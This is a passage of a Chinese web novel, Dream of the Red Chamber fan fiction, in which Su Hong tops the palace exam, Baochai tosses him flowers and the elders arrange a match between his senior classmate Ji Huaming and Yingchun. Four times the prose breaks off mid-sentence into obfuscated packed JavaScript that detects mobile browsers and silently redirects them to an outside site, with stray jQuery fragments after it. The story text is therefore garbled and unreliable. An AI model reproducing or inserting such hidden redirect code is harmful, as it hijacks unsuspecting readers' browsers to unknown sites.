她浑不在意。神瑛侍者凡心偶炽，下凡历劫，无论成与不成都是一世，让绛珠妹子把灌溉甘露之恩还了才是正事。就算没能参悟透彻，神仙难道还在意这一两百年的时间不成？届时让神瑛侍者再投胎就是了。 她又向下看了眼僧道说的苏鸿，一眼便看出他命数有异。她凝神再看，方说道：“若论命数，他早在几年前就死了，只是不知是谁救了他。如今他身负大使命，却是不可轻动，随他去吧。” 想来，救下苏鸿的人定也是功德深厚之人，只是不知是谁。亦不知苏鸿何处又得了机缘，如今功德亦然不浅。她倒也不在意这些，她长生久视，见过奇怪的事太多，这算不上大事。 僧道二人见警幻仙姑打定主意要顺其自然，也不好忤逆，只是心中不免惭愧不如仙姑洒脱、透彻。因警幻仙姑发话，他们连入世度化凡人的兴致都减弱不少，便安心不再下界。 苏鸿不知自己已被传闻中的警幻仙姑关注到了，日间发奋读书，夜间则扛着锄头忙碌。不光学问越发深厚，连银钱也越攒越多。间或与父母、宝钗等通信，日子过得倒也快活。 时光飞逝，转眼便翻了两年。是日，正值殿试，各家凡有贡士参选殿试者，莫不翘首以盼，暗暗祈祷。苏鸿在二月间参加会试，得中会元，因而早早便入宫等候殿试。 虽是苏鸿人生大事，但苏父因被调入户部任员外郎，正是繁忙之时，不得空闲。苏母便与薛太太等带着宝钗、英莲一众姊妹，提前包下整座酒楼，预备在一甲游街时看个热闹，顺带为苏鸿壮壮声势。 ——虽说殿试名次并未出来，但每逢科考，前一甲大多是会试前三，只是名次会被微微调整。何况苏鸿举止有礼，仪容不俗，无论太上皇还是今上，见了必定都喜欢。只是她们虽心中明白，难免担忧会有意外发生。 宝钗捏着帕子坐在床边，有些紧张地向外张望着，见迟迟听不见锣鼓声心中有些焦躁。黛玉见了此情景，笑嘻嘻上前托腮道：“姐姐，人还没来呢，就是望穿了眼睛，也瞧不见姐夫呀。” 宝钗面色一红，见妈和苏婶婶坐在一处说话，没顾忌这边，扔了帕子就伸手拧向黛玉两腮。只是因黛玉生得单薄，她也不舍，轻轻拧了下就嗔道：“你就好贫嘴贫舌的，还当面编排我呢。” 黛玉笑着央告，逗得宝钗撑不住笑起来。二人透过纱窗看街道上熙熙攘攘的人群，黛玉方道：“我还没怎么到街上来呢，原来这样热闹。昔日我父亲高中探花，说不定也来了这么一街的人看热闹。” 苏母笑道：“颦丫头这话不错。当年我尚未出嫁时也就跟着我母亲一起来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298945|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一甲游街，好势派。你父亲骑着高头大马，比状元和榜眼不知道强出多少，帕子和花儿都跟不要钱一样撒了满街呢。” 黛玉从前很少听父亲、母亲说起过去的事。等她来到贾府之后，外祖母和舅母闲了时会说些母亲闺中趣事，但对父亲的过去仍是一无所知。此时听苏婶婶这样说，不由十分感兴趣，央告她再说些。 苏母所知亦不多，只偶尔听苏父提及他与林如海同在翰林院为官的三两件事。她不敢戳黛玉的伤心事，只是她想知道父母之事原也是常理，若不告诉她，她心里只怕想得更厉害。 因而便挑拣着能回忆起来的事说了，又笑道：“我与你父亲虽只有一面之缘，但你这一身的文采风流跟你父亲像了十成十。” 黛玉早已将父母双亡的苦楚尽数咽下，压在心底。今日听了父亲旧事，心中略有伤感，但更多的仍是喜悦。 说话间，便有小厮飞报：“咱们家大爷高中一甲状元！已在宫门前上了马，就往这边来了！” 闻得这般喜讯，众人俱是欢喜异常，姑娘们也连忙带上帷帽。不多时便隐隐听到锣鼓声，众人精神一震，都走到窗边，有些紧张地看着不断接近的游街队伍。 湘云生得高挑，嫌隔着窗子不爽利，干脆将窗户向外推开。她探出小半个身子张望，唬得宝钗连忙拉住她，忍俊不禁道：“跟活猴子似的，还不安安稳稳站着。这窗子也不知结实与否，怎么这样大胆。” 湘云笑嘻嘻拉着宝钗撒娇，见那一片红色要过来，连忙笑着指给宝钗和黛玉看。趁宝钗看着那边出神，又伏在黛玉和英莲耳边大声说：“快瞧，薛姐夫来了！”三人说着笑弯了腰，湘云又兴冲冲搬来小绣墩让宝琴站在上头瞧。 宝钗面上发烫，回身见苏婶婶和妈只是笑，更是羞得要掩面逃走。湘云一把拉住，笑道：“宝姐姐别走，不然咱们准备的一篓子花儿可送给谁呢？姐夫可不领我们的情，非得姐姐送才好。” 说着和黛玉、英莲一起按着宝钗不叫她走，待苏鸿快接近时，连连撺掇宝钗学其他姑娘一样扔花扔帕子。宝钗抿着唇向下瞧，见街上男女老少都说说笑笑十分热闹，纷纷扬扬的花瓣更是不待游行队伍接近就迫不及待飘下，一时也被感染。 她与苏鸿虽说一直互有通信，却并未再见过面。今日他一身状元冠带，红袍黑马，鬓旁簪花，越发显得风流俊俏、仪容不俗。他身侧虽有两人，但宝钗眼中却只剩苏鸿，连耳旁的声音也渐渐远去。 她伸手抓了一把花瓣，待苏鸿骑马接近时向下抛洒。花瓣飘扬下来，苏鸿心有所感，抬头看去，与宝钗四目相对。宝钗一惊，帕子连带着花瓣一同晃悠悠落下，苏鸿连忙打马上前，估摸着距离翻身立在马上将帕子接下。 一片哗然之声中，宝钗登时脸羞得通红，闭着眼一股脑把整篮的花瓣倒下。纪花明在苏鸿身后，见师弟被花瓣浇了一身的呆样，笑得险些连马也掌握不好。见引路的离了老远，才连忙催促苏鸿跟上。 36.说亲 苏鸿红着脸将帕子塞进怀里，见纪花明催促，才连忙打马随着队伍离开。街上一片笑声，纷纷打听二楼上的是那户人家，如此慧眼识珠，早早定下状元郎。 薛太太见苏鸿越发丰神俊朗，难得也与宝钗两厢情愿，更是喜不自禁。她心中喜欢，又见那榜眼长得膀大腰圆，很是威武，瞧着也很是年轻，便问道：“那榜眼是谁家的孩子？瞧着和鸿哥儿很熟悉。” 既中了榜眼，才学定是响当当的。难得人年轻、样貌威武，若他尚未娶亲，英莲还没定人家，贾家的几个姑娘也未尝不能说一说。哪怕家里平平，他们几家也不缺陪嫁。只要他的品行好，二人斯抬斯敬的，也算得佳偶了。 苏母知道她是起了说媒之意，笑道：“这是鸿儿的师兄，叫纪花明，年长他两岁，尚未定下人家。他入京以来是在我家安置，人生得威武，却连句重话也不会说，是个懂礼的孩子。我听鸿儿私下说，他倒是喜欢性情温柔的姑娘。” 她倒是想着英莲，她今年十七，也是时候择定人家了。再预备一年的嫁妆，十八出嫁也正是时候。只是甄士隐夫妇俩才寻回爱女没几年，如何舍得让她出嫁，总是避而不谈。 苏母见此，想到甄士隐凭着写话本赚了不少家当，日后招赘也使得，便不曾再劝。 时下，不单小门小户，从大户人家算起，凡是疼女儿的人家至少要将女儿留到十七八，彻底长成了再出嫁。若是皇室宗亲，留到二十多再成婚的比比皆是。只是出嫁之期虽晚，却也得先为女儿择定好人家。 薛太太闻言，亦先想到英莲。见她正和姊妹们打闹，悄悄努嘴儿。苏母摇摇头，笑道：“她自小离了父母身边，如今才团聚没几年，封姐姐哪里舍得。索性有咱们这些老的在，又有蟠儿和鸿儿，总能护着她。” 薛太太低头想了半日，便悄声道：“我们姐姐家大房的二姑娘，你也见过一次，性子最温柔不过。虽说沉默了些，心里却是明白的。若说吃亏，就吃亏在父母哥哥不管。凤丫头又是嫂子，对着一干姊妹都是一样的，也不敢偏向她。” 苏母闻言有些犹豫，和薛太太到外头商议，问道：“明哥儿家世平平，虽有个做山长的老师，在京城却无甚名声。二姑娘没得说，只是荣府里大老爷和大太太岂会乐意将女儿聘给无利可图的人？” 她夫君和纪花明的师父交好，纪花明又与鸿儿同出一门，她自然也是上心的。只是儿女亲家结两姓之好，若按荣府人来看，定是瞧不上纪家的家世的。 薛太太笑道：“你怎么糊涂了！那贾家上一辈的姑奶奶，就嫁了新科探花林如海。林家曾经虽是鼎盛之家，只可惜人口凋零，到了林老爷这一代也不比从前了。但林老爷的长相人品可是让史太君喜欢得不得了，纪哥儿家世不比林家，但也是正经读书人，谁不喜欢？” 她是可怜迎春无人照顾，若全凭她那父亲兄长为她张罗，只怕会利字当头，迎丫头在婚事上必定受苦。倒不如趁着他们尚未反应过来时，让史太君做主定下婚事，料定他们也没脸驳史太君的意思。 何况过日子不能只图面上光，外头颇有些张狂的男人动手打老婆，三房四妾一个个往屋里抬。纪花明别的不提，能与鸿哥儿交好，人品绝对不差。纪家家世普通，但在本地也算乡绅，和鸿哥儿相互帮衬着，总有出头之日。 这样看，这门婚事倒也不差——若不是纪花明喜欢性情温柔的女孩子，直接说给探丫头倒更好。薛太太拿定主意，再三托苏母问问纪家的意思。 苏母闻言，便也答应回去后就唤纪花明来问他心意。 当下，苏鸿和纪花明打马游街后便被仪仗队送回苏府。便有礼部小官叮嘱道：“明日一早礼部赐宴，赐宴后即刻前往鸿胪寺学礼，切不可耽误。” 二人连忙应了，又散出去不少红封，才将欢欢喜喜的众人送走。府中早探知苏鸿、纪花明高中，各个喜气盈腮，抢上前来说吉祥话，又忙忙引他们入屋休息。二人换了家常衣服，才有些放松地斜依在炕上休息。 纪花明耷拉着眼皮子，嘟囔道：“没高中前老想着打马游街，这会儿累得我腰都直不起来了。” 街上和楼上来来往往都是看热闹的人，虽有仪仗队护着，他也怕马儿不小心失控。又要躲着点儿掷给他的香包香囊，现在一趟下来觉得浑身都乏了。他又十分憧憬道：“过几日今上就会赐官，还不知是何场景。” 苏鸿有些心不在焉，闻言慢半拍才笑道：“想来也是热闹的。你先前还嚷着要叫全京城的人瞧你如何英俊，被谁挑回去做女婿呢，怎么这会儿蔫了？” 纪花明有些烦恼地摇摇头，说道：“我父母亲说要我随师父的意思，师父说已经托了伯父伯母了。临上京前，还给我随身带了两千两，让我先置办东西。”说着，又抛起茶杯掂了两下，“我跟伯母说了，我是个说一不二的性子，娘子只要性情温柔就好，省得我们磨嘴皮子吵架。” 苏鸿想到纪父同纪花明性情相仿，处处被纪母以柔情拿捏的模样，神情古怪。师兄现在大放厥词，等他真的成婚了，对着娘子能霸道起来才怪，指定不过几月便她说什么是什么了。 他母亲若为师兄相看，定是位读书知礼的小姐，只是不知道会是哪家。 纪花明想了片刻，便也将此事抛于脑后。见四下无人，他方低声道：“我瞧太上皇还十分精神。” 他知道苏鸿原是为了避开头上两层主子的尴尬，才特意到书院去学习三年，拖延春闱。只是如今仍是如此，太上皇俨然还有好几年可活，倒像是他白费了一番苦心。 苏鸿闻言，摇头叹道：“这也是命该如此，我不能一直干等着。何况 ，三年过去，也不是没有好处的。” 前年因着有百姓不满当朝愤而起义，太上皇就点了王子腾任九省都检点，出京镇压。王子腾为了京中有心腹坐镇，又举荐贾雨村补授大司马。连贾政，也被太上皇点了学差，回来后定是要升官的，贾家也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304049|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更上一层。——如果太上皇还能掌权的话。 只可惜听他父亲说，自从甄家老太妃去年殁了之后，太上皇便开始频繁请太医诊治。如今外头看着还好，但精神早已不如前些年充足。因实在体衰无力，便渐渐放权给今上，是以自过年以来今上心情颇好。 拖延三年时间，终究还是有些不同的。连太上皇最为宠爱信任的甄家，如今也肉眼可见衰落了。 先前甄家在江南省也是数一数二的望族，家主的奏折可直达天听，其权势之盛令人心惊。鼎盛之时，独他们家就接驾四次。只是今年以来，陆陆续续便传出些许风言风语，朝堂上已有官员弹劾甄家任上亏空、结交外官，内府的官员也都不再替甄家描补。 今上暂且留中不发，但想到原文中今年七八月份便有甄家被抄的消息，想必还是被治罪了。甄家倒台，与甄家相交甚厚的贾家未必能独善其身，更有贾贵妃如今在宫中已有失宠的迹象。几项叠加，颇有风雨欲来之势。 苏鸿想到此处，也觉无可奈何。纪花明也懂了苏鸿言下之意，也沉默地点点头。只是又笑道：“先进了翰林院再说。连官儿也没当上，怎么就愁到这个地步。大不了仍回江南开个书院，跟师父作伴去。” 身为男子，哪个不想建功立业，有一番大作为。只是他亦知道这个世道不简单，他没有家世背景，被挤兑了也无处说理。他师父当初在翰林院正是被排挤，偏生性子又烈，不愿受气，这才回了江南接任自安书院山长一职。 纪花明看得很开，在京城若能倚仗师弟家站稳脚跟最好。若是不成，不拘哪个地方，外放出去做父母官，造福一方百姓也好，不枉他寒窗苦读几十年。再不然，就回江南，学孔子他老人家开办私塾，教书育人。 天下之大，蝇营狗苟虽多，总归会有他一席容身之处。 苏鸿见纪花明这样说，也笑道：“师兄豁达，师弟佩服。” 只是师兄能如此豁达，他却一心想着向上爬。两相对比，他心中带着些许羞愧。可他早就想明白了，要做个为万世开太平之人就得站在高位，方能汇聚众智众力，不然也只是徒劳。 临北上之时，他特意请纪老板制了一批最好的香露，用琉璃瓶子装饰了藏在空间中。这些香露在江南价值不菲，一小瓶子便要百两银子，还不见得能买到。最好的一批货更是被甄家采买进上，便是宫里的贵人在生病时也喜欢用香露提味。 他也没别的能拿出手的东西，便只好借着供货的关系在纪老板那里用成本价买了一批精品。待有机会时，他也能与今上身边的宠臣、太监走走关系。只要能在关键时说上两句话，他这银子花得便值得了。 苏鸿心里默默打算着，心头升起些许惆怅。 说话间，外头便热闹闹一片。苏鸿一听，便知定是苏母和封娘子回来，连忙和纪花明起身整理衣物。刚起来，就见苏母已经满面红光到了跟前，见了他们二人更是心中喜欢，叫他们赶紧坐下。 37.迎春 苏母坐在首座，笑着看向苏鸿、纪花明二人，示意丫鬟们都暂且离开。她见人都走了，方开门见山道：“今日你们游街可是出尽了风头，不少太太都来跟我打听你们二人的婚事。” 苏鸿微微扬眉，看了眼纪花明，疑心是他的婚事有消息了。他们方才还在说玩笑话，没想到母亲动作怎么快，就是不知是谁有这样的好眼光看上师兄了。 苏母见他们二人尚且稳得住，便道：“方才薛太太和我一起在酒楼上，见了明哥儿很喜欢。她有位亲戚姑娘最是性情温柔，出身荣国府，亦是读书知礼的大家闺秀。她再三托我，我不好推拒，便先来问你的意思。” 纪花明忙恭敬立着，心中却想：他一直未曾定婚，虽说是父母不欲要他分心，亦有待他高中后寻一位读书仕宦家的小姐为妻的心思。只是荣国府门第过高，恐齐大非偶。二则……贾家两门，宁府不提也罢，荣府的男子也没什么好名声。 只是他素知苏母为人，定不会、也没有必要在婚事上坑害他。两相对比，倒让纪花明犹豫不决，不知如何回话。 他正要说什么时，苏母却抬手打断。她笑道：“伯母实对你说，连我也拿不定主意。世府千金，模样、教养、性情都不必挑。若说不好，就只有父亲、兄长不成气候，一身纨绔习气，与咱们这样的人家不是一路人。婚姻大事不是儿戏，你仔细想想再回话。” 说着便起身离开，行至门前又回身叮嘱二人晚间要一同宴饮，叫他们一起到厅上用饭。二人唯唯应了，苏母方款款离去。 纪花明没想到自己的婚事这么快就有消息，只是苏母说得模棱两可，他一时有些发愁。苏鸿亦默然不语。他最清楚贾家的运势已败，顶多支撑两年，现今这般煊赫的荣国府便会轰然倒塌。 《石头记》中不曾明说贾家的结局，只是想想神瑛侍者下凡的目的，再想想原文中反复出现的“盛筵必散”，便能猜到贾家的下场不会太妙。 何况原文中又有甄家在前，想想甄伯父原本的遭遇：爱女被拐、家宅被烧、田产被夺、亲人诓骗，妻离子散家破人亡，最终心灰意冷，随渺渺真人出家。神瑛侍者既要跳出尘世罗网，焉能不经历种种磨难？ 只是明知贾家下场不好，他也说不出劝纪花明不娶贾迎春的话。一则，二人品行很是般配，满京城中，纪花明也难寻一个品行胜过迎春、又知根知底的姑娘。二则……迎春的判词太过凄凉悲苦，他与贾家无亲无故，对迎春的处境毫无办法。若不叫师兄娶迎春，难道叫迎春嫁给孙绍祖去受苦不成？ 纪花明低头寻思半日，忽然想到身边就有个最清楚贾家情况的苏鸿，抬头去看，见他也愁眉不展，噗嗤一笑。他笑道：“是我要娶妻，师弟只管把话说到，成与不成我心中自有成算。难道你怕师兄娶了亲，就不疼你了？” 苏鸿一噎，失笑道：“师兄说笑了。” 他揉了揉额角，方正色道：“荣府现有二房，长房贾将军袭爵，娶妻邢夫人，膝下二子一女。长子贾琏娶了王家嫡女，次子年龄尚小，女儿就是这位二姑娘。二房主事的是贾学差，娶妻王夫人，膝下二子二女。长女正是宫中的贾娘娘，长子贾宝玉，人品一流，只是不好功名利禄，次子次女倒不清楚。” “荣府官客，除却袭爵的贾将军、荫封的贾学差外，贾琏捐了个同知在身，其余的尽皆没有官身。荣府与宁府同出一源，相交甚密，只是宁府的男人，其□□丑恶之态无人不知。贾史王薛四家联络有亲，官场上扶持照应自不必说。我未婚妻薛大姑娘，正是二房王夫人的外甥女。” 先前他们二人入京，因要准备会试，便不曾将旁人家的事说给师兄听。如今有时间，倒是可以跟师兄讲清。 纪花明细细听了，蹙眉道：“两府里，就没有一个读书人？” 要么是袭爵，要么是荫封，要么是捐官，连个正经科举出身的都没有。论理，这样的大家族总该为子孙谋划，如今天下少有兵戈，科举入仕最是名正言顺，才能承袭祖业。 苏鸿摇摇头，说道：“宁府太爷是进士出身，出家当道士去了，现已殁了。荣府中贾宝玉前头有位哥哥，十四便是秀才，只是早早夭亡。荣府只靠贵妃和故交亲友撑着，自家子弟没几个成器的。” 纪花明脑子空白片刻，半晌才默默道：“这不像是兴旺之象啊。” 苏鸿见话已说到这份上，便干脆道：“不止，贾家衰败早已不可阻挡，他们家不过是旧日的空架子，连内囊都上来了。贾家不光有败落之危，恐怕还会被旁的亲戚牵连，顶多一两年的功夫罢了。” “欸？”纪花明瞪大眼睛看向苏鸿，“你既这么说，我还犹豫什么，直接拒了这门婚事不就行了？只是伯母为何吞吞吐吐，你又怎么要继续和薛家结亲，难道事情不会牵连到薛家？” 苏鸿闻言叹道：“最奇怪的就是这里。贾家的男人一个比一个废物，母亲却说贾家的姑娘一个赛一个出色，不知谁能有幸娶到她们。你若只看重人，就尽管答应婚事，母亲帮你说和，我也可担保这位二姑娘的品行。若担忧贾家扯后腿，亦是人之常情，叫母亲回绝了就是。” 他又十分恳切道：“师兄不必拿我做参照。薛伯父救我全家，薛大哥与我相交甚厚，薛妹妹待我情深意重，我是绝不会悔婚的。只是你与贾二姑娘素不相识，又无情谊，不必冒这样的风险。” 纪花明闻言笑道：“师弟说这样的话就生分了，我亦非贪慕富贵之人。便是有个万一，自不会波及出嫁女，顶多仕途艰难些。娶妻娶贤，伯母与你如此认可这位姑娘，想必我纪家三代无忧，何须多虑？” 说着便起身长揖，斩钉截铁道：“我已打定主意，事不宜迟，还请师弟与我一同去寻伯母。我今日便给父母去信，早日做定大事。” 苏鸿一呆，连忙扶起纪花明。知道他素日心性坚定，便也不再劝解，连忙带着纪花明去寻苏母。 苏母对朝堂之事并非一无所知，也知道苏鸿并不会对纪花明隐瞒什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309090|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见纪花明如此坚定，也不再犹豫，连忙差人到薛家去说给薛太太。 薛太太闻讯，便连忙去寻姐姐王夫人。王夫人听闻来意，见男方是今科榜眼，年纪轻轻的，心中便是一喜，却又犹豫起来。 她叹道：“这门亲事再好不过，只要人品好，迎丫头终身有靠。但我不过是婶婶，她父母都在，若我去提，他们反倒不依。” 贾家两房为着管家权明争暗斗，她便是有心促成，但贾赦、邢夫人岂会坐视不理，说出来反不行了。何况贾家虽说衰落了，迎春作为长房长女也算有几分联姻价值，她那对儿父母恨不得连她的骨头都嗦干净了，怎么会给她寻门好婚事。 不知便罢，知道有这个青年才俊，王夫人也不愿意让迎春错失良机。她年岁也不小了，她也怕她那糊涂黑心的爹妈把迎春随便打发出门。 好好的大家小姐，生在贾府没落时已经够可怜了，不好叫她婚事不顺。 她想了又想，便命人去寻凤姐过来。凤姐一向点子多，又得老太太喜欢，让她出个主意定是能成。 凤姐闻讯赶来，听薛太太给迎春相准了一位进士，喜得搂着薛太太道：“到底是姨妈心慈，替姊妹们想着。我那妹子别的不说，最是和气。寻了姑爷，定是能和和美美过到一处，方才不辜负姑妈的心。只是……” 她有些为难，蹙眉叹道：“上次岫烟和蝌兄弟的婚事，我们太太虽准了，却也不大乐意。现在又是她女儿，恐怕还得请老太太出面。另一个，不知道纪进士家世怎么样？” 凤姐心中自然乐意，姊妹们平日和气，能给迎春找个好归宿也不错。何况她虽自傲家世，却也知道文官越来越吃香，年纪轻轻进士及第，未来必定是人中龙凤。 迎春到底和贾琏同出一父，日后扶持着这位进士，也能和他们互相帮衬着。 薛太太笑道：“他家祖籍江南凤安府，也算有些名望的小乡绅，家世平平。只是他拜师江南自安书院单山长，师兄弟甚多，又和鸿哥儿同出一门，以后互相帮衬着便是。” 凤姐心想：头上公婆未必能深谋远虑，说不定只看眼下纪进士家世平平就直接否了。此事要成，必得说动老太太。只是众姊妹中，二丫头素日温柔沉默，在老太太跟前不算得宠，老太太未必愿意出头。 何况先前老太太已硬作保山，为岫烟和蝌兄弟定亲。如今再去讨迎春妹子，老太太未必愿意得罪狠了自己的大儿子大儿媳。还非得戳中老太太的心事，此事方能成功。 依她看，倒也只有把此事的好处往宝玉身上攀扯，老太太顾念宝玉、又想着家族兴旺，许是会应允。她便三言两语将这主意说了，王夫人听此事对宝玉亦有益处，一时更是欢欣，连连点头，叫凤姐去办。 薛太太忙吩咐道：“跟老太太说，是我见纪进士游街，觉得他体格健壮，又细细打听了他的家世人品。人家父母说了，要为孩子寻个性情温柔的，我才想到咱们二姑娘。若老太太另有主意，就当我多事了。” 38.海啸 且说凤姐去侍奉贾母，见她正高高兴兴的，便趁机将薛太太想为迎春说亲一事回了。贾母听是薛太太要为迎春说位新科进士，一时也来了兴致，细细问起纪花明的家世、人品等。 她听了凤姐之言，垂头不语。这人选她倒是心中称意，新科进士，才将将二十一岁，家世清白，才学不俗。只是她不喜大儿子成日不好生做官、骄奢淫逸，也不喜大儿媳浅薄偏执，关系本就不亲密，何必主张此事，反而得罪了他们。 凤姐察其神色，似有回避之意。她又叹又笑，说道：“老祖宗说巧不巧？和宝丫头定亲的苏鸿高中状元，这位纪榜眼和苏鸿可是同门师兄弟。姨妈一说，我便想着这两个都是有才学有人品的，一个是表姐夫，一个是堂姐夫，都能引着宝玉，再好不过了。” 她见贾母神色松动，心中方舒了一口气，笑道：“我听姨妈说，这一甲游街好威风势派，那纪榜眼坐在高头大马上，人也生得威武。他一出来，整条街热闹得了不得，花瓣儿帕子香包一股脑儿扔了他一身。姨妈喜欢极了，因听他家里要给孩子寻个性情温柔的，这才想到咱们二姑娘。不然，姨妈肯定紧着探丫头了。” 王熙凤笑嘻嘻将一串儿话嘟噜出来，说起游街之景更是天花乱坠，跟眼前亲见一样。贾母不由笑道：“你没见过，我当时给你姑妈选了林姑父，就是跟几个亲戚太太一起看热闹。那年状元榜眼都老大年纪，你林姑父一出来，整条街都亮堂了。也难为你姨妈心慈，能想着迎丫头。” 说到此处，贾母便想到现今大儿子儿媳并未给迎春主张婚事，她开口倒也不难。若真任由他们裁决迎丫头的婚事，只怕会耽搁了迎丫头。此情此景又勾起她思女之意，不免有几分意动。 何况也只是先相看相看，倒也不妨碍什么。 她主意已定，便命鸳鸯传话，将贾赦和邢夫人叫来荣庆堂一同商议。贾赦和邢夫人虽心中不满，但因未曾相看，他们也不好一口回绝贾母之意。何况又是薛太太做媒，更不好驳了亲戚的面子，便想着待相看时挑个毛病再回绝。 且说薛太太传来好消息，苏母和纪花明便连忙置办礼物，与贾家约定了日子便带着纪花明上贾家拜访。贾母带着邢、王二位夫人及薛太太坐在外头，迎春坐在屏风后绞着帕子，心中迷茫又带着些许忐忑。 苏母往日也曾拜访过贾母等人，众人并不陌生。一见她后头长得高大威猛，却又斯文有礼的年轻人，便知这是纪花明了。贾母和王夫人一见他品貌便心中喜欢，邢夫人虽满心挑剔，左看右看却也觉纪花明不错，心里嘀咕二房还真这般好心。 迎春在屏风后见了，眼神虽仍是木木的，却也多看了两眼。她身旁的绣橘细细打量，见果然是一表人才。虽生得高大，姨太太却说这人连重话也不会说。想着姑娘终身有靠，喜得挤眉弄眼一番，拉拉扯扯叫迎春细看。 少许，纪花明便被带到前头去见贾赦、贾琏等人。薛蟠受苏母和薛太太的托，特意陪着引见。 苏母在旁入座，和薛太太对视一眼，便笑着命丫鬟呈上见面礼送给贾母、王夫人等。她笑道：“这孩子心眼实。我们鸿哥儿不在家，他知道我要出门，定要一路护送。又听说是拜访贵府，他便替我备了礼。” 贾母等人一看，见是一托盘二十来个琉璃瓶装的香露，心中微微惊讶。这东西她们府上也有，知道这东西价格不菲。不料纪家用这些来做见面礼，竟似有几分财力。想来纪家虽一般，倒也有得力的族人帮衬。 贾母、王夫人见纪花明样貌不俗，纪家亦有可取之处，且又有苏家保媒，都觉遂心称愿。邢夫人见纪家竟不似她想得那般穷酸，便也起了几分兴致，不似先前那般排斥。 而贾赦和贾琏，本不喜纪花明又无家世、又非老亲。谁知他虽是儒生却生得如武将一般，言语豪爽大气，亦觉纳罕，不免引他深谈一番。纪花明早被苏鸿叮嘱过，赶忙将自己置办的礼物酬献了，又一五一十将自家状况说了。 贾赦、贾琏见他出手大方，又是进士出身，心里便也满意了几分。贾赦想到他们家现今缺了文官的人脉，如今拉拢纪花明倒也不错。年纪轻轻就中了进士，又有他们帮衬扶持，要不了几年就能出人头地。 贾琏则想到凤姐再三叮嘱他，便也帮着纪花明说话。四人谈笑许久，待后头着人来催促时，薛蟠才带了纪花明离开。 此后一月，苏母又带了纪花明多次上门拜访。贾母、王夫人等细细盘问，见纪花明果然堪为良配，便也下定决心促成此事。贾赦、邢夫人又各自得了纪家私下孝敬的东西，便也可有可无应了。 王夫人见事情妥当，便遣人到苏家回礼，又询问纪家父母是否入京，两家也好仔细商谈定婚之事。苏母得知消息，便连忙催促苏父写信给单山长，着人请纪家父母入京议婚。此为后话，暂且不提。 且说纪花明头次上门，贾母等十分欢欣，当日朝堂之上，今上却大发雷霆。他素日不是什么稳重和平之人，喜怒不定，听内务府将甄家亏空的具体数额报上来之后，只觉是甄家偷了他的银子，十分恼火。 弹劾甄家的内府官员早有预料，只是心中冷笑，默默回到队列中。甄家为什么亏空，还不是太上皇南巡时叫甄家接驾四次惹出来的。连太上皇也默许甄家捞银子补亏空，可补了这么些年，内府还是有大笔欠银。 好歹甄老太妃死了，趁着甄家的家业还没败完，赶紧让甄家想法子把亏空补上才好。他们内府也为这笔钱着急上火，生怕再过几年甄家彻底败了，这笔烂账就彻底扣到他们头上了。 甄家祖籍江南，其家主现任金陵省体仁院总裁。看似不起眼，实则是太上皇埋在江南的钉子，专为刺探金陵省官员、文人、乡绅等，人所共知。其家资富饶、颇有名望，每年进上孝敬的东西不少。 今上早就想拔掉太上皇安插在金陵的眼线，好让自己的亲信接手此事。而一干大臣眼红甄家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319957|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富贵，又揣度今上心意，见有内务府官员起头儿，便趁势告起甄家贪污敛财，在金陵一带肆意妄为。 苏父等人默默缀在队伍中，这些事并非他们能掺和的，便只垂着头一言不发。贾雨村现任大司马，素知甄家是贾、王等家族老亲，相交甚厚。只是见今上俨然主意已定，朝堂上又一边倒讨伐甄家，便也未曾多言。 今上见满朝文武都极力赞同此事，越发觉得权势已然盖过父亲，心中十分得意。因命都察院务必查清甄家贪腐、亏空一案，言语极其严厉，极尽刻薄之态。 众臣心中明白，案子到了都察院怕是不能善了。太上皇如今体弱，一应政事只能默许今上自行裁决，无力插手。甄家赶上今上立威，若能补上亏空还好说，若补不上，甄家抄家也就这几月的事了。至于其他罪名，也只能瞧都察院的本事了。 众人说得面酣耳热之时，外头忽有人来传，说地方急报。朝上诸臣想起前年百姓造反一事，心中一惊，连忙垂手肃立不敢言语。今上闻言忙命快传，心中亦然忐忑。谁知竟是广、福巡抚奏闻，两省近海一带海啸，糟蹋生民、人畜死伤无数。 